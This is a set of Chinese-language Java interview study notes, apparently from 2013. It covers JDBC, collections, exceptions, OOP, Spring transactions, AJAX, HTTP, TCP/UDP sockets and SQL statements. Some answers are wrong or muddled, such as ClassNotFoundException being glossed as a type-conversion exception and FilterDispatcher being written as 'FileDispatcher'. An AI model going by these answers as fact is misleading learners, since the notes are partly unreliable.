使用結果集(ResultSet)對象的訪問方法獲取數據: ? ??
? ? while (rs.next()) { ?
? ? ? ? ? ? String name = rs.getString("name"); ?
? ? ? ? ? ? String pass = rs.getString(1); // 此方法比較高效 ?
? ? } ?
(列是從左到右編號的,并且從列1開始) ? ?
7、關閉JDBC對象 ?
操作完成以后要把所有使用的JDBC對象全都關閉,以釋放JDBC資源,關閉順序和聲明順序相反: ?
1、關閉記錄集 ? ? ?
2、關閉聲明 ? ? ?
3、關閉連接對象 ?
rs.close(); ?
? ? stmt.close(); ?
? ? conn.close(); ?
??
問題4、Tomcat的默認端口號是多少,如何更改端口號? ?
??
8080是Tomcat服務器的默認的端口號。 ?
我們可以通過修改Tomcat服務器的conf目錄下的主配置文件server.xml來更改。 ?
用記事本打開server.xml文件,找到如下部分:修改port的值即可 ?
< Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" /> ?
??
問題5、List與Set有什么區別? ?
??
Set List都繼承 Colltction。 ?
??
List接口與其實現類是容量可變的列表,可按索引訪問集合中的元素,是有序的集合。 ?
Set是一種不包含重復元素的Collection,也就是說 Set中只能有一個null元素。 ?
??
List和Set是兩個接口,其定義的數據類型都有自己的特點 ?
List是順序結構,可以是數組也可以是鏈表,Set就是集合,跟數學里的集合定義樣,無重復(沒有任何兩個對象的equals方法是true)。 ?
??
問題6、說出JAVA中一些常用的類,包,接口,請各舉5個? ?
??
類:Object、String、Integer、System、file、FileInputStream、FileOutputStream ?
包:lang包、io包、util包、sql包、date包、swt包 ?
接口: List、Map、Iterator、Connection、Writer、Reader、InputStream、OutPutStream ?
v ?
問題7、常見的異常有哪些,舉幾個,并說出它們是如何出現的呢? ?
??
NullPointException空指針異常 ?
IOException輸入輸出流異常 ?
ClassNotFoundException類型轉換異常 ?
ArrayIndexOutOfBoundsException下標越界異常 ?
NumberFormatException數字格式化異常 ?
FileNotFoundException文件未找到異常 ?
SQLException操作數據庫異常 ?
NoSuchMethodException方法未找到異常 ?
??
問題9、int和Integer有什么區別,Integer下有哪些常用方法? ?
??
int是Java提供的8種基礎數據類型之一。Java為每個原始類型提供了包裝類,Integer是java為int提供的包裝類。 ?
int的默認值為0,而Integer的默認值為null,即Integer可以區分出未賦值和值為0的區別,int則無法表達出未賦值的情況。 ?
例如,要想表達出沒有參加考試和考試成績為0的區別,則只能使用Integer。 ?
在JSP開發中,Integer的默認為null,所以用EL表達式在文本框中顯示時,值為空白字符串,而int默認的默認值為0,所以用EL表達式在文本框中顯示時,結果為0,所以,int不適合作為web層的表單數據的類型。 ?
在Hibernate中,如果將OID定義為Integer類型,那么Hibernate就可以根據其值是否為null而判斷一個對象是否是臨時的,如果將OID定義為了int類型,還需要在hbm映射文件中設置其unsaved-value屬性為0。 ?
另外,Integer提供了多個與整數相關的操作方法,例如,將一個字符串轉換成整數,Integer中還定義了表示整數的最大值和最小值的常量。 ?
??
問題10、Nutch與Lucene區別? ?
??
Nutch 是基于 Lucene的。Lucene為 Nutch 提供了文本索引和搜索的API。 ?
??
一個常見的問題是;我應該使用Lucene還是Nutch? ?
??
最簡單的回答是:如果你不需要抓取數據的話,應該使用Lucene。如果你有數據源,需要為這些數據提供一個搜索頁面。在這種情況下,最好的方式是直接從數據庫中取出數據并用Lucene API建立索引。 ?
Nutch 適用于你無法直接獲取數據庫中的網站,或者比較分散的數據源的情況下使用。 ?
??
Lucene其實是一個提供全文文本搜索的函數庫,它不是一個應用軟件。它提供很多API函數讓你可以運用到各種實際應用程序中。現在,它已經成為Apache的一個項目并被廣泛應用。 ?
??
Nutch是一個建立在Lucene核心之上的Web搜索的實現,它是一個真正的應用程序。也就是說,你可以直接下載下來拿過來用。它在Lucene的基礎上加了網絡爬蟲和一些和Web相關的東東。其目的就是想從一個簡單的站內索引和搜索推廣到全球網絡的搜索上。 ?
??
總的來說,我認為Lucene會應用在本地服務器的網站內部搜索,而Nutch則擴展到整個網絡、Internet的檢索。當然Lucene加上爬蟲程序等就會成為Nutch。 ?
??
問題11、面向對象的特征有哪些?解釋一下每一個? ?
??
封裝指的是將對象的狀態信息隱藏在對象內部,不允許外部程序直接訪問對象內部信息,而是通過該類所提供的方法來實現對內部信息的操作和訪問。 ?
封裝實際上有兩個方面的含義:把該隱藏的(對象的屬性和實現細節)隱藏起來,把該暴露的(方法)暴露出來。這兩個方面都需要通過使用Java提供的訪問控制符來實現。 ?
?
繼承是面向對象實現軟件復用的重要手段,當子類繼承父類后,子類作為一種特殊的父類,將直接獲得父類的屬性和方法。Java的繼承具有單繼承的特點,每個子類只有一個直接父類。 ?
?
多態指的是子類對象可以直接賦給父類變量,但運行時依然表現子類的行為特征,這意味著同一個類別的對象在運行時可能表現出不同的行為特征。 ?
只有子類重寫了父類的方法。使用父類類型創建的引用變量,所賦的值為子類類型創建的實例(對象)時,用這個新建的對象調用子類重寫父類的方法才會出現多態。 ?
也就是說多態有3個條件:1、繼承 2、重寫(子類重寫父類繼承的方法) 3、父類引用指向子類對象 ?
??
好處: ?
封裝:安全 ?
繼承:重用 ?
多態:靈活 ?
??
問題12、方法的重寫和重載? ?
??
重寫父類的方法 ?
方法的重寫要遵循“兩同兩小一大”規則: ?
??
“兩同”即方法名相同、形參列表相同,“兩小”指子類方法返回值類型應比父類方法返回值類型更小或相等,子類方法聲明拋出的異常應比父類方法聲明拋出的異常類更小或相等。 ?
“一大”指的是子類方法的訪問權限應比父類方法更大或相等,尤其需要指出的是,覆蓋方法和被覆蓋方法要么都是類方法,要么都是實例方法,不能一個是類方法,一個是實例方法。 ?
??
當子類覆蓋了父類的方法后,子類的對象將無法訪問父類中被覆蓋的方法,但可以在子類方法中調用父類中被覆蓋的方法。 ?
如果要在子類中調用父類中被覆蓋的實例方法,可以使用super。 ?
如果要在子類中調用父類中被覆蓋的類方法,使用父類類名來調用。 ?
如果父類方法具有private訪問權限,則該方法對其子類是隱藏的,因此其子類無法訪問該方法,也就無法重寫該方法。 ?
??
2、方法的重寫與方法的重載不同,方法的重載要遵循“兩同,一個不同”規則: ?
??
“兩同”即同一個類中、方法名相同,“一個不同”即形參列表不同。 ?
??
? ? ? ? Java允許同一個類里定義多個同名的方法,只要形參列表不同即可。 如果同一個類中包含了兩個或兩個以上的方法名相同,但參數列表不同,則被稱為方法重載。至于方法的其他部分,如方法返回值類型、修飾符等,與方法重載沒有任何關系。 ?
??
注意: ?
參數列表順序不同:(String x,int y)和(int x,String y)不會報錯 ?
參數列表類型相同變量名不同:(int x,int y)和(int y,int x)編譯器會報錯 ?
無法通過返回值類型不同來進行重載 ?
??
問題13、第1個人10,第2個比第1個人大2歲,依次遞推,請用遞歸方式計算出第8個人多大? ?
??
public static int calAge(int n) { ?
? ? ? ? if (1 == n) ?
? ? ? ? ? ? return 10; ?
? ? ? ? return calAge(n - 1) + 2; ?
? ? } ?
??
? ? public static void main(String[] args) { ?
? ? ? ? System.out.println("第八個屌絲的年齡是:" + calAge(8)); ?
? ? } ?
n=3的話, ?
第一次:3-1 ? ? ?10+2+2 ?
第二次:3-2 ? ? ?10+2 ?
第三次:返回10 ? 往上回去算 ?
??
??
問題14、一口井,深10米.一個蝸牛從井底往上爬. 白天爬3米,晚上掉2米.問幾天能爬出來? ?
??
第一天高度=3-2=1米 ?
第二天高度=1+3-2=2米 ?
第三天高度=2+3-2=3米 ?
第四天高度=3+3-2=4米 ?
第五天高度=4+3-2=5米 ?
以此類推... ?
第8天高度=7+3=10米,已經爬出來了。 ?
所以:8天爬出來。注意:這里是一口氣爬出來,如果爬不出來的話需要再加1天 ?
??
2013年8月24日: ?
??
問題1、String s="a"+"b"+"c" 創建了幾個對象? ?
??
就創建了1個 ??
String s = "a" + "b" + "c" + "d" + "e"; ??
賦值符號右邊的"a"、"b"、"c"、"d"、"e"都是常量 ??
對于常量,編譯時就直接存儲它們的字面值而不是它們的引用 ??
在編譯時就直接講它們連接的結果提取出來變成了"abcde" ??
該語句在class文件中就相當于String s = "abcde" ??
然后當JVM執行到這一句的時候, 就在String pool里找 ??
如果沒有這個字符串,就會產生一個 ?
??
問題2、Spring事務管理的7種傳播行為和4種隔離級別? ?
??
REQUIRED:業務方法需要在一個事務中運行。如果方法運行時,已經處在一個事務中,那么加入到該事務,否則為自己創建一個新的事務。 ??
??
NOT_SUPPORTED:聲明方法不需要事務。如果方法沒有關聯到一個事務,容器不會為它開啟事務。如果方法在一個事務中被調用,該事務會被掛起,在方法調用結束后,原先的事務便會恢復執行。 ??
??
REQUIRES_NEW:屬性表明不管是否存在事務,業務方法總會為自己發起一個新的事務。如果方法已經運行在一個事務中,則原有事務會被掛起,新的事務會被創建,直到方法執行結束,新事務才算結束,原先的事務才會恢復執行。 ??
??
MANDATORY:該屬性指定業務方法只能在一個已經存在的事務中執行,業務方法不能發起自己的事務。如果業務方法在沒有事務的環境下調用,容器就會拋出例外。 ??
??
SUPPORTS:這一事務屬性表明,如果業務方法在某個事務范圍內被調用,則方法成為該事務的一部分。如果業務方法在事務范圍外被調用,則方法在沒有事務的環境下執行。 ??
NEVER:指定業務方法絕對不能在事務范圍內執行。如果業務方法在某個事務中執行,容器會拋出例外,只有業務方法沒有關聯到任何事務,才能正常執行。 ??
??
NESTED:如果一個活動的事務存在,則運行在一個嵌套的事務中. 如果沒有活動事務, 則按REQUIRED屬性執行。它使用了一個單獨的事務,這個事務擁有多個可以回滾的保存點。內部事務的回滾不會對外部事務造成影響。它只對DataSourceTransactionManager事務管理器起效 ?
??
事務隔離級別: ?
??
數據庫系統提供了四種事務隔離級別供用戶選擇。不同的隔離級別采用不同的鎖類型來實現,在四種隔離級別中,Serializable的隔離級別最高,ReadUncommited的隔離級別最低。 ?
大多數據庫默認的隔離級別為ReadCommited,如SqlServer、Oracle,當然也有少部分數據庫默認的隔離級別為RepeatableRead,如Mysql。 ?
??
ReadUncommited:讀未提交數據(會出現臟讀,不可重復讀和幻讀) ?
ReadCommited:讀已提交數據(會出現不可重復讀和幻讀) ?
RepeatableRead:可重復讀(會出現幻讀) ?
Serializable:串行化 ?
??
臟讀:一個事務讀取到另一事務未提交的更新新據。 ?
不可重復讀:在同一事務中,多次讀取同一數據返回的結果有所不同。換句話說就是,后續讀取可以讀到另一事務已提交的更新數據。相反,“可重復讀”在同一事務中多次讀取數據時,能夠保證所讀數據一樣,也就是,后續讀取不能讀到另一事務已提交的更新數據。 ?
幻讀:一個事務讀取到另一事務已提交的insert數據。 ?
??
問題3、AJAX的原理? ?
??
AJAX的原理簡單來說通過XmlHttpRequest對象來向服務器發異步請求,從服務器獲得數據,然后用JavaScript來操作DOM而更新頁面。這其中最關鍵的一步就是從服務器獲得請求數據。要清楚這個過程和原理,我們必須對 XMLHttpRequest有所了解。 ?
XMLHttpRequest是AJAX的核心機制,它是在IE5中首先引入的,是一種支持異步請求的技術。簡單的說,也就是JavaScript可以及時向服務器提出請求和處理響應,而不阻塞用戶。達到無刷新的效果。 ?
所以我們先從XMLHttpRequest講起,來看看它的工作原理。首先,我們先來看看XMLHttpRequest這個對象的屬性。 ?
? 它的屬性有: ?
onReadyStateChange ? ?每次狀態改變所觸發事件的事件處理程序 ?
responseText ? ? ?從服務器進程返回數據的字符串形式 ?
responseXML ? ? ? ? ? 從服務器進程返回的DOM兼容的文檔數據對象 ?
status ? ? ? ? ? ? ?從服務器返回的數字代碼,比如常見的404(未找到)和200(已就緒) ?
status Text ? ? ? ? ? 伴隨狀態碼的字符串信息 ?
readyState ? ? ? ? ? ?對象狀態值 ?
??
0 (未初始化) ? ? ?對象已建立,但是尚未初始化(尚未調用open方法) ?
1 (初始化) ? ? ? ? ? 對象已建立,尚未調用send方法 ?
2 (發送數據) ? ? ?send方法已調用,但是當前的狀態及http頭未知 ?
3 (數據傳送中) ? ? 已接收部分數據,因為響應及http頭不全,這時通過responseBody和responseText獲取部分數據會出現錯誤 ?
4 (完成) ? ? ? ? ? ?數據接收完畢,此時可以通過通過responseXml和responseText獲取完整的回應數據 ?
??
函數首先檢查XMLHttpRequest的整體狀態并且保證它已經完成(readyStatus=4),即數據已經發送完畢。然后根據服務器的設定詢問請求狀態,如果一切已經就緒(status=200),那么就執行下面需要的操作。 ?
??
對于XmlHttpRequest的兩個方法,open和send,其中open方法指定了: ?
a、向服務器提交數據的類型,即post還是get。 ?
b、請求的url地址和傳遞的參數。 ?
c、傳輸方式,false為同步,true為異步。默認為true。如果是異步通信方式(true),客戶機就不等待服務器的響應;如果是同步方式(false),客戶機就要等到服務器返回消息后才去執行其他操作。我們需要根據實際需要來指定同步方式,在某些頁面中,可能會發出多個請求,甚至是有組織有計劃有隊形大規模的高強度的request,而后一個是會覆蓋前一個的,這個時候當然要指定同步方式。 ?
Send方法用來發送請求。 ?
??
? 知道了XMLHttpRequest的工作流程,我們可以看出,XMLHttpRequest是完全用來向服務器發出一個請求的,它的作用也局限于此,但它的作用是整個AJAX實現的關鍵,因為AJAX無非是兩個過程,發出請求和響應請求。并且它完全是一種客戶端的技術。而XMLHttpRequest正是處理了服務器端和客戶端通信的問題所以才會如此的重要。 ?
現在,我們對AJAX的原理大概可以有一個了解了。我們可以把服務器端看成一個數據接口,它返回的是一個純文本流,當然,這個文本流可以是XML格式,可以是Html,可以是JavaScript代碼,也可以只是一個字符串。這時候,XMLHttpRequest向服務器端請求這個頁面,服務器端將文本的結果寫入頁面,這和普通的web開發流程是一樣的,不同的是,客戶端在異步獲取這個結果后,不是直接顯示在頁面,而是先由JavaScript來處理,然后再顯示在頁面。 ?
??
問題4、字符串比較題? ?
??
String hello = "hello"; ?
? ? ? ? String hel = "hel"; ?
? ? ? ? String lo = "lo"; ?
? ? ? ? // 在"+"兩邊都是常量字符串,則將兩個字符串合并并且在String Pool中查找"hello" ?
? ? ? ? // 并返回在String Pool中的內存地址正好也是hello變量的內存地址,所以第一句代碼會輸出true。 ?
? ? ? ? System.out.println(hello == "hel" + "lo");// true ?
? ? ? ? System.out.println("hello" == "hel" + "lo");// true ?
? ? ? ? // 如果在"+"兩邊有一邊是引用類型變量,Java會將合并成一個字符串并且在堆棧中創建一個 ?
? ? ? ? // 新的對象并且返回內存地址,所以這句代碼是輸出false。 ?
? ? ? ? System.out.println(hello == hel + "lo"); // false ?
? ? ? ? System.out.println(hello == hel + lo); // false ?
??
??
問題5、說說什么是分布式和集群? ?
??
分布式強調同一個業務被分拆成不同的子業務,被部署在不同的服務器上(可能是性能的問題,也可能是安全的問題,也可能是模塊對服務器的需求不同的問題將業務進行分解),服務器可以跨域也可以同域。 ?
??
而集群偏重平行處理,一臺服務器不能提供足夠的能力,而采用多臺服務器并行處理一個問題。 ?
??
集群是指所有的設備共同完成相同的功能,每一個設備的功能都是完整的,但是在外界看來是一個設備。 ?
分布式是所有的設備集結后,共同組成一個體系,相互之間協同工作,同時又各自完成自己的相應的工作,但是所有的功能不是在一個設備上,而是由不同的設備完成,但是由一個設備作為統一的接入點和協調點。 ?
??
問題6、說說你對HTTP協議的了解? ?
??
HTTP協議主要有用于做客戶端瀏覽器和Web服務器之間的一個通訊規則(TCP/IP)。該協議主要規定的是傳輸HTML(超文本)的格式,其中包含了很多的消息頭信息,可以幫助底層的Socket進行識別具體的信息,那么對于開發者而言,如果掌握了HTTP協議的基本通信規則有利于后期的JavaEE開發。 ?
?
默認的瀏覽器是無法進行協議的通信內容查看的,因此我們瀏覽器上需要安裝一個額外的插件:HTTP Watch。 ?
?
?
HTTP協議有1.0和1.1版本: ?
HTTP1.0的協議主要用于對每一次請求建立新的連接。這樣會導致連接的次數過于頻繁,導致速度降低。 ?
HTTP1.1可以使得客戶端建立一定時間范圍內的持續連接。 ?
??
請求分析 ?
瀏覽器在發送請求的時候,會默認給請求進行封裝,給一個請求上面添加HTTP協議相關的頭信息。常見的信息如下: ?
GET /books/java.html HTTP/1.1 ? ? ? ? ? 請求行 ?
Accept: */* ? ? ? ? ? ? ? ? ? ? ? ? ? ?請求頭 ?
Accept-Language: en-us ?
Connection: Keep-Alive ?
Host: localhost ?
Referer: http://localhost/links.asp ?
User-Agent: Mozilla/4.0 ?
Accept-Encoding: gzip, deflate ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?空白行 ?
請求行: ?
GET ? ? ? /books/java.html ? ? ? HTTP/1.1 ? ?
請求方式 ? ?請求的資源 ? ? ?請求使用的協議和版本 ?
請求方式:HTML表單、GET和POST ?
GET請求方式最大的特點是會將參數綁定在URL地址欄的后面進行傳遞,因此傳遞的數據是有限的且是明文的。 ?
POST請求方式,該方式會將參數指定在請求體中進行傳遞。 ?
常見的請求頭分析:瀏覽器生成出來的信息,該信息想要通知服務器一些信息。 ?
Accept: */* ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?通知服務器瀏覽器可以接受的數據類型 ?
Accept-Language: en-us ? ? ? ? ? ? ? ? ? 通知服務器瀏覽器使用的語言 ?
Connection: Keep-Alive ? ? ? ? ? ? ? ? ? 通知服務器在特定時間內保持連接 ?
Host: localhost ? ? ? ? ? ? ? ? ? ? ?通知服務器瀏覽器使用的主機 ?
Referer: http://localhost/links.asp ? ? ? ? ?通知服務器該請求來自于哪一個頁面 ?
User-Agent: Mozilla/4.0 ? ? ? ? ? ? ? ? ?通知服務器瀏覽器的版本 ?
Accept-Encoding: gzip, deflate ? ? ? ? ? 通知服務器瀏覽器可以接受的編碼格式 ?
??
響應分析 ?
瀏覽器給服務器發送了一個消息,那么服務器一定會給瀏覽器返回一個響應消息。 ?
HTTP/1.1 200 OK ? ? ? ? ? ? ? ? ? ? ?響應行 ?
Server: Apache-Coyote/1.1 ? ? ? ? ? ? ? ?響應頭 ?
Accept-Ranges: bytes ?
ETag: W/"272-1351567272000" ?
Last-Modified: Tue, 30 Oct 2012 03:21:12 GMT ?
Content-Type: text/html ?
Content-Length: 272 ?
Date: Tue, 30 Oct 2012 06:27:26 GMT ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?空白行 ?
< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> ?
< html>….</html> ? ? ? ? ? ? ? ? ? ? ?響應體 ?
HTTP/1.1 ? ? ? ? 200 ? ? ? ? ? ? ?OK ? ? ? ?響應行 ?
響應的協議版本 ? 響應的狀態碼 ? ?對響應碼的具體描述 ?
常見的響應碼: ?
200 ? 響應成功 ?
302 ? 繼續細化您的請求 ?
404 ? 請求資源無法找到 ?
500 ? 服務器錯誤 ?
Location: http://www.it315.org/index.jsp ? ? 通知瀏覽器需要細化的請求地址 ?
Server:apache tomcat ? ? ? ? ? ? ? ? ? ? 通知瀏覽器服務器使用的服務器型號 ?
Content-Encoding: gzip ? ? ? ? ? ? ? 通知瀏覽器服務器發送的數據類型 ?
Content-Length: 80 ? ? ? ? ? ? ? ? ? 通知瀏覽器壓縮數據的大小 ?
Content-Language: zh-cn ? ? ? ? ? ? ? ? ?通知瀏覽器服務器發送數據的語言 ?
Content-Type: text/html; charset=GB2312 ? ? ?通知瀏覽器服務器發送數據的內容類型、編碼 ?
Last-Modified: Tue, 11 Jul 2000 18:23:51 GMT ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?通知瀏覽器請求的資源最后一個修改的時間 ?
Refresh: 1;url=http://www.it315.org ? ? ?通知瀏覽器定時刷新 ?
Content-Disposition: attachment; filename=aaa.zip ?通知瀏覽器內容的處理方式(下載) ?
Transfer-Encoding: chunked ? ? ? ? ? ? ? 通知瀏覽器數據以數據塊的方式逐一發送 ?
Set-Cookie:SS=Q0=5Lb_nQ; path=/search ? ?通知瀏覽器需要存儲Cookie數據 ?
Expires: -1 ? ? ? ? ? ? ? ? ? ? ? ? ?通知瀏覽器不要緩存當前的頁面 ?
Cache-Control: no-cache ? ?
Pragma: no-cache ? ??
Connection: close/Keep-Alive ? ? ? ? ? ? 通知瀏覽器保持或關閉連接 ?
Date: Tue, 11 Jul 2000 18:23:51 GMT ? ? ?通知瀏覽器服務器處理請求的時間 ?
??
問題7、說說你對TCP和UDP協議的了解? ?
??
TCP ?
Transmission Control Protocol (傳輸控制協議) ?
特點: ?
面向連接、可靠、效率稍低 ?
通過三次握手,建立連接,形成傳輸數據的通道。在連接中進行大數據量傳輸 ?
例如: ?
? ? 因為TCP協議能夠發現丟失的傳輸數據并重新發送,所以適合文件傳輸,接收郵件 ?
??
??
UDP ?
User Datagram Protocol (用戶數據報協議) ?
特點: ?
無連接、不可靠、速度快 ?
將數據及源和目的封裝成數據包中,不需要建立連接。每個數據報的大小在限制在64k內 ?
例如: ?
? ? UDP協議不能保證傳輸沒有丟失 ?
視頻通話,即時通信,IP電話 (VoIP)電話 ?
??
??
UDP需要學習使用的類: ?
DatagramSocket ?
DatagramPacket ?
需要建立發送端,接收端。 ?
建立數據包。將數據存儲在數據包中. ?
調用Socket的發送接收方法。 ?
關閉Socket。 ?
發送端與接收端是兩個獨立的運行程序。 ?
??
UDP發送: ?
第一步:創建Socket ?
? ? 需要創建Socket, 發送端不需要指定ip地址和端口, 使用本機地址發送, 會自動找到未使用的端口。 ?
需要使用DatagramSocket此類表示用來發送和接收數據報包的套接字。 ?
java.lang.Object ?
? java.net.DatagramSocket ?
可以通過構造函數創建該Socket對象 ?
DatagramSocket socket = new DatagramSocket(); ?
第二步:創建數據包 ?
? ? 發送時需要創建數據包如何創建數據包?使用DatagramPacket ?
java.lang.Object ?
? java.net.DatagramPacket ? ?此類表示數據報包。 ??
創建數據包時需要通過構造函數指定發送的數據(字節數組),數據長度(數組長度),接受方的IP地址(InteAddress類),接受方端口號(port)。 ?
構造函數: ?
DatagramPacket(byte[] buf, int length, InetAddress address, int port) ??
? ? ? ? ? 構造數據報包,用來將長度為 length 的包發送到指定主機上的指定端口號。 ?
第三步:發送數據 ?
有了Socket 有了數據,如何發送數據包?使用Socket的send方法將數據包發送出去 ?
?void ?send(DatagramPacket p) ??
? ? ? ? ? 從此套接字發送數據報包。 ?
??
第四步:關閉Socket ?
使用Socket的close方法關閉。 ?
void close() ??
? ? ? ? ? 關閉此數據報套接字。 ?
注意: 在發送端,要在數據包對象中明確目的地IP及端口。 ?
??
UDP接收 ?
第一步:需要創建Socket, ?
接收時必須指定端口號. ?
DatagramSocket socket = new DatagramSocket(8888); ?
第二步:創建數據包, ?
接收時也需要創建數據包, 用來存儲數據. 需要一個字節數組. ?
DatagramPacket packet = new DatagramPacket(new byte[1024], 1024); ?
接收數據 ?
第三步:接收數據 ?
使用DatagramSocket 的receive方法接收數據.該方法需要指定數據包. ?
socket.receive(packet); ?
第四步: 從數據包中獲取數據 ?
byte[] data = packet.getData(); ?
第五步:獲取數據長度 ?
int len = packet.getLength(); ?
第六步:獲取發送端ip地址 ?
packet.getInetAddress().getHostAddress(); ?
第七步:獲取發送端端口號 ?
packet.getPort(); ?
第八步:關閉socket ?
socket.close(); ?
注意: 在接收端,要指定監聽的端口。 ?
??
TCP客戶端 ?
第一步:創建客戶端Socket ?
需要指定連接到服務器的地址和端口號, 并嘗試連接 ?
客戶端需要明確服務器的ip地址以及端口,這樣才可以去試著建立連接,如果連接失敗,會出現異常。 ?
Socket socket = new Socket("192.168.1.220", 8888); ?
第二步:連接成功獲取輸入輸出流 ?
連接成功,說明客戶端與服務端建立了通道,那么通過IO流就可以進行數據的傳輸,而Socket對象已經提供了輸入流和輸出流對象,通getInputStream(),getOutputStream()獲取即可。 ?
socket.getInputStream(); ?
socket.getOuputStream(); ?
第三步: 將數據寫出到服務端 ?
使用字節輸出流的write() 方法 ?
第四步:關閉socket ? ? ?
? ? ? ? 調用close方法 ?
連接成功之后獲取輸入輸出流 ?
? ? ? ? socket.getInputStream(); ?
? ? ? ? socket.getOuputStream(); ?
? ? ? ? 獲取流之后就可以通過輸入輸出流發送和讀取數據了, 客戶端的輸入流連接服務端輸出流, 客戶端輸出流連接服務端輸入流 ?
客戶端案例: ?
public class TcpClient { ?
? ? public static void main(String[] args) throws IOException, IOException { ?
? ? ? ? System.out.println("客戶端啟動..."); ?
? ? ? ? // 創建客戶端 ?
? ? ? ? Socket socket = new Socket("127.0.0.1", 50000); ?
? ? ? ? // 與服務端建立連接,獲取輸入輸出流 ?
? ? ? ? InputStream in = socket.getInputStream(); ?
? ? ? ? OutputStream out = socket.getOutputStream(); ?
? ? ? ? // 將數據寫出到服務端 ?
? ? ? ? System.out.println("客戶端發送數據..."); ?
? ? ? ? out.write("Tcp,你好我是客戶端...".getBytes()); ?
? ? ? ? // 關閉socket ?
? ? ? ? out.close(); ?
? ? } ?
} ?
??
??
TCP服務端 ?
第一步: 創建服務端 ?
ServerSocket, 需要指定端口號. 客戶端連接的就是這個端口. ?
java.lang.Object ?
? java.net.ServerSocket ?
創建ServerSocket ?
ServerSocket serverSocket = new ServierSocket(8888); ?
第二步:和客戶端建立連接 ?
通過accept方法 ?
Socket accept() ??
? ? ? ? ? 偵聽并接受到此套接字的連接。 ?
該方法會偵聽是否有客戶端連接,如果有建立連接,并獲取客戶端的Socket ?
也就是說服務端創建之后可以獲取客戶端連接, 返回一個Socket對象, 這個Socket就是和客戶端連接的Socket ?
Socket socket = serverSocket.accept(); ?
第三步: 接受客戶端的數據,獲取客戶端的數據 ?
服務端獲取這個socket的輸入輸出流, 就可以和客戶端發送接收數據了socket.getInputStream(); ?
socket.getOutputStream(); ?
第四步:獲取客戶端的ip地址和端口號 ?
使用服務端獲取的Socket 獲取ip地址和端口. ?
InetAddress getInetAddress() ??
? ? ? ? ? 返回套接字連接的地址。 ?
??
int getPort() ??
? ? ? ? ? 返回此套接字連接到的遠程端口。 ?
??
第五步:關閉客戶端和服務端 ?
在服務端中分別調用close方法. ?
??
2013年8月27日: ?
??
問題1、jQuery中AJAX發送請求的方法,get請求和post請求有什么區別? ?
??
get是從服務器獲取數據,post是向服務器發送數據 ?
get是小數據量傳輸,post是大數據量傳輸 ?
get請求的參數隊列會在是通過url地址傳輸,在url地址上就能看到傳輸的參數,post看不到 ?
get安全性低,post安全性高,但get的執行效率比post高 ?
如果是傳輸機密信息建議用post ?
如果是數據查詢建議用get ?
??
問題2、Mysql和Oracle數據庫的區別? ?
??
Oracle是付費的,安全性能更高,一般銀行系統這種安全性要求很高的系統都是用Oracle ?
Oracle對權限的管理非常細致,做的非常好,大概有159種權限,Mysql只有27種 ?
主鍵,Oracle不可以實現自增,Mysql可以實現自增,Oracle需要新建序列實現,SEQ_USER_Id.nextval ?
Oracle的分頁方法和Mysql的分頁方法比起來非常麻煩,Oracle需要用到個子查詢,Mysql用一個limit方法搞定,而且分頁時,Mysql的游標從0開始,Oracle從1開始 ?
Mysql屬于中型數據庫,Oracle屬于大型數據庫,但并不是說Mysql不能支撐大型應用,而是從功能上來看,Oracle擁有更豐富和完善的功能,不過一般我們也是使用他的一部分常用功能,而這一部分功能Mysql也是具備的 ?
在程序員的角度上來說,Mysql比Oracle更加簡單一些 ?
在細節的使用上來說Mysql在字符串上可以用單引號也可以用雙引號,Oracle則必須使用單引號 ?
??
問題3、簡述Struts2框架? ?
??
Struts2是基于JSP和Servlet的一個開源web應用框架,使用MVC設計模式,結構清晰,使程序員可以只關注業務邏輯,還具有豐富的標簽庫可以使用。 ?
?
Struts2工作流程: ?
客戶端發送請求 ?
根據web.xml,請求被FileDispatcher接收 ?
根據struts.xml的配置,找到需要調用的Action類,通過IOC方式將值注入給Action,Action調用業務邏輯組件處理業務邏輯。如果有配置攔截器,這一步還包含了攔截器 ?
Action執行完畢,根據struts.xml中的配置找到對應的Result,并跳轉到相應頁面 ?
響應到客戶端瀏覽器 ?
??
問題4、簡述AOP用什么技術實現的? ?
??
動態代理技術實現的,如果用JDK實現動態代理,需要利用Proxy類和InvocationHandler接口 ?
??
問題5、IOC和new有什么區別? ?
??
IOC即是控制反轉也叫依賴注入,他是通過IOC容器來生成對象,控制對象的生命周期,同時IOC把零散的部件組成了一個整體,從而達到疏散耦合的效果,我們可以利用Spring的配置,來讓IOC決定給我們注入的是一個已有對象,還是新建一個對象。 ?
而new是每次拿到的都是一個新的對象,同時也不便于管理。 ?
??
問題6、什么是綁定變量? ?
??
變量綁定就是使用PreparedStatment對SQL語句進行一個預編譯,其中有一些我們需要為其指定的參數,我們會在稍后為數據庫指定這些參數的值,綁定變量的好處可以防止SQL注入,避免sql語句的硬解析。 ?
查詢通常只是因為改變WHERE子句中的內容而產生不同的結果。為了在這種情況下避免硬解析,需要使用綁定變量(bind variable)。它是用戶放入查詢中的占位符,它會告訴Oracle"我會隨后為這個變量提供一個值,現在需要生成一個方案,但我實際執行語句的時候,我會為您提供應該使用的實際值"。 ?
例如: ?
select * from emp where ename='KING'; ? //不使用綁定變量 ??
select * from emp where ename=:bv; ? ? ?//使用綁定變量 ?
??
問題7、delete、truncate、drop的異同? ?
??
相同點: ?
truncate和不帶where子句的delete, 以及drop都會刪除表內的數據 ?
drop,truncate都是DDL(數據定義語言)語句,執行后會自動提交 ?
??
不同點: ?
truncate和 delete只刪除數據不刪除表的結構(定義) ??
drop語句將刪除表的結構被依賴的約束(constrain),觸發器(trigger),索引(index); ?
依賴于該表的存儲過程/函數將保留,但是變為invalid無效狀態 ?
??
delete語句是DML,這個操作會放到rollback segement回滾段中,事務提交之后才生效;如果有相應的trigger,執行的時候將被觸發 ?
truncate,drop是DDL,操作立即生效,原數據不放到rollback segment中,不能回滾,操作不觸發trigger ?
??
速度,一般來說:drop > truncate > delete ?
??
delete是DML語句,不會自動提交 ?
drop,truncate都是DDL(數據定義語言)語句,執行后會自動提交 ?
??
問題8、IOC和工廠模式的區別? ?
??
使用Spring框架中IOC能得到與工廠模式同樣的效果,而且編碼更加簡潔、靈活和方便。 ?
